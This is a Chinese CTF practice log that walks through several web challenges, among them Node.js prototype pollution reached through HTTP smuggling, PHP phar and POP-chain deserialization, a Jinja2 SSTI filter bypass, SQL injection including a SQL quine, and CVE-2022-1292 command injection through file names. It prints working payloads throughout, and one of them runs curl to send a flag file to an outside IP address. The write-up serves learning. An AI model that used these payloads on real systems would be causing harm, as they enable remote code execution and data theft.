刷题记录(2023.3.6 - 2023.3.11)

  我很喜欢这周的感觉,前两道题对着 wp 简略复现了一下,由于以前都是自己学习,对一些稍微多、稍微难的题都会马上避开,笨小孩逃避太久了,有些事逃不掉,总得面对,开始往往很难,多花点时间,总能过去,所以课余时间全都来刷题目,以前的长链子、python、go、网络交互等都没有要求自己看,底子差就得努努力,这周虽然花了很多时间看懂题目和师傅们的脚本,但是在复现完后的畅快总会让我很兴奋 XD。

[西湖论剑 2022]real_ez_node

“用 /curl 路由来构造 SSRF 打 /copy 路由下的 原型链污染”

__proto__ 被过滤,使用 constructor.prototype 绕过”

“通过访问 /curl 利用 HTTP 走私向 /copy 发送 POST 请求,然后污染原型链实现代码执行”

payload 脚本

import urllib.parse

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('curl 47.113.221.205:12345/`cat /flag.txt`')"}
'''.replace("\n","\r\n")

def encode(data):
    tmp = u""
    for i in data:
        tmp += chr(0x0100+ord(i))
    return tmp
    
payload = encode(payload)
print(urllib.parse.quote(payload))
#%C4%A0%C5%88%C5%94%C5%94%C5%90%C4%AF%C4%B1%C4%AE%C4%B1%C4%8D%C4%8A%C4%8D%C4%8A%C5%90%C5%8F%C5%93%C5%94%C4%A0%C4%AF%C5%A3%C5%AF%C5%B0%C5%B9%C4%A0%C5%88%C5%94%C5%94%C5%90%C4%AF%C4%B1%C4%AE%C4%B1%C4%8D%C4%8A%C5%88%C5%AF%C5%B3%C5%B4%C4%BA%C4%A0%C4%B1%C4%B2%C4%B7%C4%AE%C4%B0%C4%AE%C4%B0%C4%AE%C4%B1%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%B4%C5%A5%C5%AE%C5%B4%C4%AD%C5%94%C5%B9%C5%B0%C5%A5%C4%BA%C4%A0%C5%A1%C5%B0%C5%B0%C5%AC%C5%A9%C5%A3%C5%A1%C5%B4%C5%A9%C5%AF%C5%AE%C4%AF%C5%AA%C5%B3%C5%AF%C5%AE%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%AE%C5%A5%C5%A3%C5%B4%C5%A9%C5%AF%C5%AE%C4%BA%C4%A0%C5%A3%C5%AC%C5%AF%C5%B3%C5%A5%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%B4%C5%A5%C5%AE%C5%B4%C4%AD%C5%8C%C5%A5%C5%AE%C5%A7%C5%B4%C5%A8%C4%BA%C4%A0%C4%B1%C4%B5%C4%B5%C4%8D%C4%8A%C4%8D%C4%8A%C5%BB%C4%A2%C5%A3%C5%AF%C5%AE%C5%B3%C5%B4%C5%B2%C5%B5%C5%A3%C5%B4%C5%AF%C5%B2%C4%AE%C5%B0%C5%B2%C5%AF%C5%B4%C5%AF%C5%B4%C5%B9%C5%B0%C5%A5%C4%AE%C5%AF%C5%B5%C5%B4%C5%B0%C5%B5%C5%B4%C5%86%C5%B5%C5%AE%C5%A3%C5%B4%C5%A9%C5%AF%C5%AE%C5%8E%C5%A1%C5%AD%C5%A5%C4%A2%C4%BA%C4%A2%C5%9F%C5%B4%C5%AD%C5%B0%C4%B1%C4%BB%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC%C4%AE%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3%C4%AE%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5%C4%AE%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5%C4%A8%C4%A7%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3%C4%A7%C4%A9%C4%AE%C5%A5%C5%B8%C5%A5%C5%A3%C4%A8%C4%A7%C5%A3%C5%B5%C5%B2%C5%AC%C4%A0%C4%B4%C4%B7%C4%AE%C4%B1%C4%B1%C4%B3%C4%AE%C4%B2%C4%B2%C4%B1%C4%AE%C4%B2%C4%B0%C4%B5%C4%BA%C4%B1%C4%B2%C4%B3%C4%B4%C4%B5%C4%AF%C5%A0%C5%A3%C5%A1%C5%B4%C4%A0%C4%AF%C5%A6%C5%AC%C5%A1%C5%A7%C4%AE%C5%B4%C5%B8%C5%B4%C5%A0%C4%A7%C4%A9%C4%A2%C5%BD%C4%8D%C4%8A

脚本分析:

打到服务器端口,监听

nc -lvvp 8989

vps 没通

复现参考文章:
https://blog.csdn.net/jyttttttt/article/details/128875462
https://blog.csdn.net/qq_61768489/article/details/128893726
https://ctf.njupt.edu.cn/archives/822
https://xz.aliyun.com/t/12128#toc-4

[CISCN 2019华北Day1]Web1

注册了个 admin/123 可以直接登

一般不是关于登录框的洞

可以上传文件 gif / jpg / png

上传后可以对已上传文件进行 下载 / 删除 操作

分别对 上传 / 下载 / 删除 抓包,在下载 /download.php 的 filename 参数,可以利用读取任意文件

刷题记录(2023.3.6 - 2023.3.11)_第1张图片
把主要文件源码读出来,这里直接跑出来就行

../../index.php
../../download.php
../../upload.php
../../delete.php
../../register.php
../../login.php
../../class.php

前面的文件都比较正常没什么切入点,而且考点不是登录,在 class.php 可以看到这是一个简单的文件管理系统

有三个类:
User 类:用户登录、注册、验证功能
FileList 类:页面 UI 实现的文件列表,还有文件的下载和删除功能
File 类:文件的基本操作,打开、关闭、获取文件名、获取文件大小、删除

在 file 类可以看到 close 方法内返回了一个敏感函数

如果要调用 file_get_contents() 函数,可以利用在 __destrust() 触发的 $this->db->close();

$this->db = new FileList() 就能调用 file_get_contents() 函数

  public function close() {
      return file_get_contents($this->filename);
  }


class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub(""); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

本地运行或访问获得 phar 文件,如果报错,把 php.ini 的 phar.readonly 改为 Off 且前面分号去掉

生成的 phar,改后缀名上传,然后删除的时候抓包,改参读取,得到 flag

刷题记录(2023.3.6 - 2023.3.11)_第2张图片

复现参考文章:
https://blog.csdn.net/weixin_44077544/article/details/102844554
https://www.cnblogs.com/kevinbruce656/p/11316070.html
https://xz.aliyun.com/t/2715

[NISACTF 2022]popchains

先看大体三个类,对应看含有的方法

有 __wakeup() 有 unserialize

找控制点 Try_Work_Hard 内有个 __invoke() 方法调用了 append() 方法可以把 $var 传给 $value ,执行 include() 文件包含

触发 __invoke() 的情况是以调用函数的方式调用一个对象时,方法会被自动调用,我们可以看到 Make_a_Change 中的 __get() 方法内含有一个 return $function() ,如果 $effort 存的是我们 new 的对象,就会调用 __invoke()

接着就是如何触发 __get(),可以调用不存在的属性,系统会自动触发,可以看到 Road_is_Long 里的 return $this->string->page; 返回 $a->string->page,也就是 $a 对象中的 string 属性的值的 page 属性的值

所以 string 可以赋 Make_a_Change 对象,最后就是 __toString() 的触发

__toString() 的触发我们 new 一个对象后使用即可

Road_is_Long---__wakeup()
Road_is_Long---__wakeup()
Road_is_Long---__toString()
Make_a_Change---__get()
Try_Work_Hard---__invoke()
Try_Work_Hard---append()

最后对应构造调试代码 pop 链子


class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
        echo "Road_is_Long---__construct". "
"
; echo '
' . var_dump($this->page) . '
'
. "
"
. "
"
; } public function __toString(){ echo "Road_is_Long---__toString". "
"
; echo '
' . var_dump($this->string->page) . '
'
. "
"
. "
"
; return $this->string->page; } public function __wakeup(){ echo "Road_is_Long---__wakeup". "
"
; if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; echo '
' . var_dump($this->page) . '
'
. "
"
. "
"
; } } } class Try_Work_Hard{ protected $var = "/flag"; public function append($value){ echo "Try_Work_Hard---include". "
"
; include($value); echo '
' . var_dump($value) . '
'
. "
"
. "
"
; } public function __invoke(){ echo "Try_Work_Hard---__invoke---append". "
"
; $this->append($this->var); echo '
' . var_dump($this->append($this->var)) . '
'
. "
"
. "
"
; } } class Make_a_Change{ public $effort; public function __construct(){ echo "Make_a_Change---__construct". "
"
; $this->effort = array(); echo '
' . var_dump($this->effort) . '
'
. "
"
. "
"
; } public function __get($key){ echo "Make_a_Change---__get". "
"
; $function = $this->effort; echo '
' . var_dump($function) . '
'
. "
"
. "
"
; return $function(); } } $a_page=new Road_is_Long(); $b_string=new Road_is_Long(); $c_effort=new Make_a_Change(); $d_include=new Try_Work_Hard(); $a_page -> page=$b_string; $b_string -> string=$c_effort; $c_effort -> effort=$d_include; /**********************Try to See flag.php*****************************/ echo urlencode(serialize($a_page)). "
"
; echo "
"
;

简化


 
class Road_is_Long{
    public $page;
    public $string;
}
 
class Try_Work_Hard{
    protected  $var = "/flag";
}
 
class Make_a_Change{
    public $effort;
} 

$a_page=new Road_is_Long();
$b_string=new Road_is_Long();
$c_effort=new Make_a_Change();
$d_include=new Try_Work_Hard();
 
$a_page -> page=$b_string;
$b_string -> string=$c_effort;
$c_effort -> effort=$d_include;

echo urlencode(serialize($a_page));

payload

?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Bs%3A9%3A%22index.php%22%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

[NSSCTF 2022 Spring Recruit]babyphp

四个 if

if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))

preg_match 可以使用数组绕过

if(isset($_POST['b1'])&&$_POST['b2'])
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))

md5 强比较,也可以用数组

if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))

md5 弱比较,可以用 md5 值为 0e 开头的字符串比较,当 md5 值的前缀为 0e 时,PHP 中的类型转换会将它们视为科学计数法表示的数字,并将字符串转换为数字进行比较。科学计数法中的 e 表示指数,0 的任何次幂都为 0。

payload:

a[]=1&&b1[]=1&&b2[]=2&&c1=QNKCDZO&&c2=s878926199a

[NCTF 2018]flask真香

关于 flask 的考点我见过的有 SSTI、CSRF、路由配置、SQL、文件上传

这里如果不看标签分析,简单的看一下页面,demo 2-8 都是不存在的页面,其余的链接都会跳转出去。

有报错看报错,没有看到暴露的参数

刷题记录(2023.3.6 - 2023.3.11)_第3张图片

在URL测注入点

{{7*'7'}}

刷题记录(2023.3.6 - 2023.3.11)_第4张图片
渲染引擎:Jinja2

有过滤,被过滤后发送请求不会在URL后显示
刷题记录(2023.3.6 - 2023.3.11)_第5张图片

class
config
getattr
import
builtins
os
open
eval
func_globals
{{()['__cl''ass__'].__bases__[0]['__subcl''asses__']()}}

URL/[, , , , , 

整理搜索 os 模块前一个 warnings.catch_warnings 模块

object.subclasses()[59].init.globals.builtins 下有 eval,import 等的全局函数

刷题记录(2023.3.6 - 2023.3.11)_第6张图片
刷题记录(2023.3.6 - 2023.3.11)_第7张图片

这次随机的下标为 357

payload:

()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[357].__init__.__globals__['__bui''ltins__']['ev''al']("__imp''ort__("o''s").po""pen('whoami').read()")

[SWPUCTF 2021 新生赛]sql

源码,参数是 wllm

?wllm=1

Your Login name:xxx
Your Password:yyy

刷题记录(2023.3.6 - 2023.3.11)_第8张图片
709 是被过滤的

=
 
and
left
right
substr
handler
updatexml
extractvalue
into
outfile
load_file
reverse
1'order/**/by/**/3/**/%23

Your Login name:xxx
Your Password:yyy
1'order/**/by/**/4/**/%23

Unknown column '4' in 'order clause'

三个字段

-1'union/**/select/**/1,2,3/**/%23

Your Login name:2
Your Password:3

两个回显点

-1'union/**/select/**/1,database(),version()/**/%23

Your Login name:test_db
Your Password:10.2.29-MariaDB-log

查库,走流程,简单的习惯直接 database()

-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/%23

Your Login name:2
Your Password:LTLT_flag,users

查表

-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/%23

Your Login name:2
Your Password:id,flag,id,username,

查列

-1'union/**/select/**/1,2,flag/**/from/**/LTLT_flag/**/%23

Your Login name:2
Your Password:NSSCTF{2922bac4-d670

回显截断,没读完,只读了 20 个字符
截取字符串常用函数 mid(), substr(), left(), right(), substring(), substring_index()

mid(), substr() 等价 substring()

对比过滤的字符,就剩 mid 可用了

-1'union/**/select/**/1,2,mid(flag,21,20)/**/from/**/LTLT_flag/**/%23

Your Login name:2
Your Password:-4399-8ab0-69b3570f0
-1'union/**/select/**/1,2,mid(flag,41,20)/**/from/**/LTLT_flag/**/%23

Your Login name:2
Your Password:987}

[第五空间 2021]yet_another_mysql_injection

源码


过滤

regexp
 
between
in
flag
=
>
<
and
|
right
left
reverse
update
extractvalue
substr
floor
&
;
$
0x
sleep

这里有两个主要的 if

 if (!$row) {
     alertMes("something wrong",'index.php');
 }
 if ($row['password'] === $password) {
     die($FLAG);
 } else {
 alertMes("wrong password",'index.php');

如果 $password 与查询到的结果集匹配,就过第一个 if,否则回显 something wrong

盲注模糊搜索查

1'or/**/password/**/like/**/'1%'#

没学过python,如果是比赛可以直接套用脚本跑,自己学习的话笨点,手测到 e 的时候回显 wrong password

用盲注脚本跑可以跑出来密码,登录就有 flag

但是这里考的知识点是 SQL-Quine,而且不会 python,现学一下 Quine

Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术

Quine SQL 它要求查询能够以自身代码为输入,输出其自身代码

Quine SQL通常由两部分组成:查询部分和输出部分。查询部分负责从数据库中检索出自身代码,而输出部分则负责输出该代码。

Quine 需要用到 replace 函数,没被过滤

REPLACE ( string_expression , string_pattern , string_replacement )

https://learn.microsoft.com/en-us/sql/t-sql/functions/replace-transact-sql?view=sql-server-ver16

string_expression
Is the string expression to be searched. string_expression can be of a character or binary data type.

string_pattern
Is the substring to be found. string_pattern can be of a character or binary data type. string_pattern must not exceed the maximum number of bytes that fits on a page. If string_pattern is an empty string (''), string_expression is returned unchanged.

string_replacement
Is the replacement string. string_replacement can be of a character or binary data type.

主要还是看了一眼文档写的三个参数都支持字符或二进制数据类型

char(46) 对应 .
char(39) 对应 '
char(34) 对应 "

跟着试试

我习惯用 Navicat 测

mysql>
mysql> select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| .                         |
+---------------------------+
1 row in set (0.04 sec)

. 被替换为 .,最后返回 .

mysql>
mysql> select replace(".",char(46),'replace(".",char(46),".")');
+---------------------------------------------------+
| replace(".",char(46),'replace(".",char(46),".")') |
+---------------------------------------------------+
| replace(".",char(46),".")                         |
+---------------------------------------------------+
1 row in set (0.04 sec)

. 被检测到,被替换为 replace(".",char(46),"."),最后返回 replace(".",char(46),".")

mysql> 
mysql> select replace('replace(".",char(46),".")',char(46),".");
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),".") |
+---------------------------------------------------+
| replace(".",char(46),".")                         |
+---------------------------------------------------+
1 row in set (0.04 sec)

replace(".",char(46),".") 里的 . 被检测到,替换为 .,最后返回 replace(".",char(46),".")

mysql>
mysql> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
+---------------------------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.04 sec)

mysql> 

replace(".",char(46),".") 里的 . 被检测到,替换为 replace(".",char(46),"."),最后返回 replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")")

手动替换后就知道是为什么了,现在差标点不一致,试过就知道全引号会报错,输出是双引号,输入是单引号,考虑把双改为单,但是不能全改,需要改的双引号位置有点刁钻,为了不改变不需要改变的内容,再替换一次即可

双替换单

replace('"."',char(34),char(39))
mysql> select replace('"."',char(34),char(39));
+----------------------------------+
| replace('"."',char(34),char(39)) |
+----------------------------------+
| '.'                              |
+----------------------------------+
1 row in set (0.04 sec)

再套一层替换为 str

replace(replace('"."',char(34),char(39)),char(46),"str")
mysql> select replace(replace('"."',char(34),char(39)),char(46),"str");
+----------------------------------------------------------+
| replace(replace('"."',char(34),char(39)),char(46),"str") |
+----------------------------------------------------------+
| 'str'                                                    |
+----------------------------------------------------------+
1 row in set (0.04 sec)

整理试试

外单引号

replace(replace('.',char(34),char(39)),char(46),'.')

内双引号

replace(replace(".",char(34),char(39)),char(46),".")

结合

replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')

结果:

mysql> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.06 sec)
同理,套入这题:

源码语句

$sql="SELECT password FROM users WHERE username='admin' and pass word='$pass word';";

构造一个注入语句,这里是外为单引号

1'union select replace(replace('str',char(34),char(39)),char(46),'str')#

构造一个替换语句,这里是内为双引号

1"union select replace(replace(".",char(34),char(39)),char(46),".")#

放进去合起来

1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#

换空格(最后 payload)

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

参考文章:https://www.cnblogs.com/zhengna/p/15917521.html

[CISCN 2022 初赛]online_crt

这题当时也没头绪,看了这题的标签 CVE-2022-1292

可操作 /etc/ssl/certs/ 目录的攻击者可注入恶意命令,以 c_rehash 脚本的权限执行任意命令。

CVE-2022-1292 先知社区分析:https://xz.aliyun.com/t/11703

先看看网站,跟名字一样,是在线 crt 证书生成
刷题记录(2023.3.6 - 2023.3.11)_第9张图片

四个路由

/
/getcrt
/createlink
/proxy

proxy 路由的参数 uri 是可利用 CRLF 注入漏洞进行控制的

回车符(CR,ASCII 13,\r,%0d)
换行符(LF,ASCII 10,\n,%0a)

@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

第一个直接将路径中的/替换为%2f
GO 脚本这里可以传入两个参数,满足路径不为空和 HOST 为 admin 即可过,即用 CRLF 篡改为 Host: admin

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

c.Request.URL.RawPath 表示请求 URL 的未经解码的路径部分,其中包含参数,但不包含主机名和方案。如果请求 URL 中不包含路径,则 RawPath 为空字符串。

@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)

c_rehash
  - hash_dir

sub hash_dir {
	my %hashlist;
	print "Doing $_[0]\n";
	chdir $_[0];
	opendir(DIR, ".");
	
	# 根据 CVE-2022-1292 先知社区分析,问题出在这里, 将该目录所有文件名读入到flist数组, 但没有处理, 导致文件名命令注入的可能
	my @flist = sort readdir(DIR);
	
	closedir DIR;
	if ( $removelinks ) {
		# Delete any existing symbolic links
		foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
			if (-l $_) {
				print "unlink $_" if $verbose;
				unlink $_ || warn "Can't unlink $_, $!\n";
			}
		}
	}
	FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
		# Check to see if certificates and/or CRLs present.
		my ($cert, $crl) = check_file($fname);
		if (!$cert && !$crl) {
			print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
			next;
		}
		link_hash_cert($fname) if ($cert);
		link_hash_cert_old($fname) if ($cert);
		link_hash_crl($fname) if ($crl);
		link_hash_crl_old($fname) if ($crl);
	}
}

将该目录所有文件名读入到 flist 数组,但没有处理,这里后续还有 perl 的其他解析

最后传入使用 ` ` 反引号包裹的命令即可

先 生成一个证书

static/crt/324dda55-5b24-4309-b5e5-f20ba569e01d.crt

得到证书名,构造 CRLF 注入语句进行篡改

/admin/rename?oldname=324dda55-5b24-4309-b5e5-f20ba569e01d.crt&newname=`echo Y2F0IC8qIA==|base64 --decode|bash>x.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close


拼接后报文变为:

GET /admin/rename?oldname=324dda55-5b24-4309-b5e5-f20ba569e01d.crt&newname=`echo Y2F0IC8qIA==|base64 --decode|bash>x.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
 
HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

先对 admin/ 的 / 和命令里的空格进行URL 编码,然后再整体编码一次

/admin%252frename%3Foldname%3D324dda55-5b24-4309-b5e5-f20ba569e01d.crt%26newname%3D%60echo%20Y2F0IC8qIA%3D%3D%7Cbase64%20--decode%7Cbash%3Ex.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close%0D%0A

在 /proxy 处触发,普通命令没有回显的地方,写入文件

命令

cat /* 

Bash 脚本执行

echo Y2F0IC8qIA==|base64 --decode|bash>flag.txt

刷题记录(2023.3.6 - 2023.3.11)_第10张图片

访问 /createlink 路由调用 c_rehash 触发命令执行

刷题记录(2023.3.6 - 2023.3.11)_第11张图片

/static/crt/flag.txt

刷题记录(2023.3.6 - 2023.3.11)_第12张图片

参考文章:
https://www.cnblogs.com/yesec/p/16345525.html
https://xz.aliyun.com/t/11703
https://www.freebuf.com/column/202762.html

URL 脚本替换出处:
https://blog.csdn.net/qq_62078839/article/details/125144431

import urllib.parse
uri = '''/admin%2frename?oldname=7ec49aae-99df-427f-8f73-fc12504b0ff6.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
aaa = urllib.parse.quote(gopher)
print(aaa)

本文脚本均来自网上收集,代码持续完善分析中…

你可能感兴趣的:(刷题记录,CTF)